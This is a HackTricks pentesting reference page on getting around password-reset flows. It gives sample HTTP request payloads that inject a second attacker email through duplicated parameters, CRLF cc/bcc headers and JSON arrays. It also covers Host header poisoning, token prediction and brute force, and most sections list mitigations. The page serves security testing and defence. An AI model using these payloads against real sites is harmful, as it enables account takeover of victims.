hacktricks/pentesting-web/reset-password.md
2024-12-12 11:39:29 +01:00

11 KiB

Reset/Forgotten Password Bypass

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Join HackenProof Discord server to communicate with experienced hackers and bug bounty hunters!

Hacking Insights
Engage with content that delves into the thrill and challenges of hacking

Real-Time Hack News
Keep up-to-date with fast-paced hacking world through real-time news and insights

Latest Announcements
Stay informed with the newest bug bounties launching and crucial platform updates

Join us on Discord and start collaborating with top hackers today!

Password Reset Token Leak Via Referrer

  • The HTTP referer header may leak the password reset token if it's included in the URL. This can occur when a user clicks on a third-party website link after requesting a password reset.
  • Impact: Potential account takeover via Cross-Site Request Forgery (CSRF) attacks.
  • Exploitation: To check if a password reset token is leaking in the referer header, request a password reset to your email address and click the reset link provided. Do not change your password immediately. Instead, navigate to a third-party website (like Facebook or Twitter) while intercepting the requests using Burp Suite. Inspect the requests to see if the referer header contains the password reset token, as this could expose sensitive information to third parties.
  • References:

Password Reset Poisoning

  • Attackers may manipulate the Host header during password reset requests to point the reset link to a malicious site.
  • Impact: Leads to potential account takeover by leaking reset tokens to attackers.
  • Mitigation Steps:
    • Validate the Host header against a whitelist of allowed domains.
    • Use secure, server-side methods to generate absolute URLs.
    • Patch: Use $_SERVER['SERVER_NAME'] to construct password reset URLs instead of $_SERVER['HTTP_HOST'].
  • References:

Password Reset By Manipulating Email Parameter

Attackers can manipulate the password reset request by adding additional email parameters to divert the reset link.

  • Add attacker email as second parameter using &
POST /resetPassword
[...]
email=victim@email.com&email=attacker@email.com
  • Add attacker email as second parameter using %20
POST /resetPassword
[...]
email=victim@email.com%20email=attacker@email.com
  • Add attacker email as second parameter using |
POST /resetPassword
[...]
email=victim@email.com|email=attacker@email.com
  • Add attacker email as second parameter using cc
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
  • Add attacker email as second parameter using bcc
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
  • Add attacker email as second parameter using ,
POST /resetPassword
[...]
email="victim@mail.tld",email="attacker@mail.tld"
  • Add attacker email as second parameter in json array
POST /resetPassword
[...]
{"email":["victim@mail.tld","atracker@mail.tld"]}

Changing Email And Password of any User through API Parameters

  • Attackers can modify email and password parameters in API requests to change account credentials.
POST /api/changepass
[...]
("form": {"email":"victim@email.tld","password":"12345678"})

No Rate Limiting: Email Bombing

  • Lack of rate limiting on password reset requests can lead to email bombing, overwhelming the user with reset emails.
  • Mitigation Steps:
    • Implement rate limiting based on IP address or user account.
    • Use CAPTCHA challenges to prevent automated abuse.
  • References:

Find out How Password Reset Token is Generated

  • Understanding the pattern or method behind token generation can lead to predicting or brute-forcing tokens. Some options:
    • Based Timestamp
    • Based on the UserID
    • Based on email of User
    • Based on Firstname and Lastname
    • Based on Date of Birth
    • Based on Cryptography
  • Mitigation Steps:
    • Use strong, cryptographic methods for token generation.
    • Ensure sufficient randomness and length to prevent predictability.
  • Tools: Use Burp Sequencer to analyze the randomness of tokens.

Guessable UUID

  • If UUIDs (version 1) are guessable or predictable, attackers may brute-force them to generate valid reset tokens. Check:

{% content-ref url="uuid-insecurities.md" %} uuid-insecurities.md {% endcontent-ref %}

  • Mitigation Steps:
    • Use GUID version 4 for randomness or implement additional security measures for other versions.
  • Tools: Use guidtool for analyzing and generating GUIDs.

Response Manipulation: Replace Bad Response With Good One

  • Manipulating HTTP responses to bypass error messages or restrictions.
  • Mitigation Steps:
    • Implement server-side checks to ensure response integrity.
    • Use secure communication channels like HTTPS to prevent man-in-the-middle attacks.
  • Reference:

Using Expired Token

  • Testing whether expired tokens can still be used for password reset.
  • Mitigation Steps:
    • Implement strict token expiration policies and validate token expiry server-side.

Brute Force Password Reset Token

  • Attempting to brute-force the reset token using tools like Burpsuite and IP-Rotator to bypass IP-based rate limits.
  • Mitigation Steps:
    • Implement robust rate-limiting and account lockout mechanisms.
    • Monitor for suspicious activities indicative of brute-force attacks.

Try Using Your Token

  • Testing if an attacker's reset token can be used in conjunction with the victim's email.
  • Mitigation Steps:
    • Ensure that tokens are bound to the user session or other user-specific attributes.

Session Invalidation in Logout/Password Reset

  • Ensuring that sessions are invalidated when a user logs out or resets their password.
  • Mitigation Steps:
    • Implement proper session management, ensuring that all sessions are invalidated upon logout or password reset.

Session Invalidation in Logout/Password Reset

  • Reset tokens should have an expiration time after which they become invalid.
  • Mitigation Steps:
    • Set a reasonable expiration time for reset tokens and strictly enforce it server-side.

References

Join HackenProof Discord server to communicate with experienced hackers and bug bounty hunters!

Hacking Insights
Engage with content that delves into the thrill and challenges of hacking

Real-Time Hack News
Keep up-to-date with fast-paced hacking world through real-time news and insights

Latest Announcements
Stay informed with the newest bug bounties launching and crucial platform updates

Join us on Discord and start collaborating with top hackers today!

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}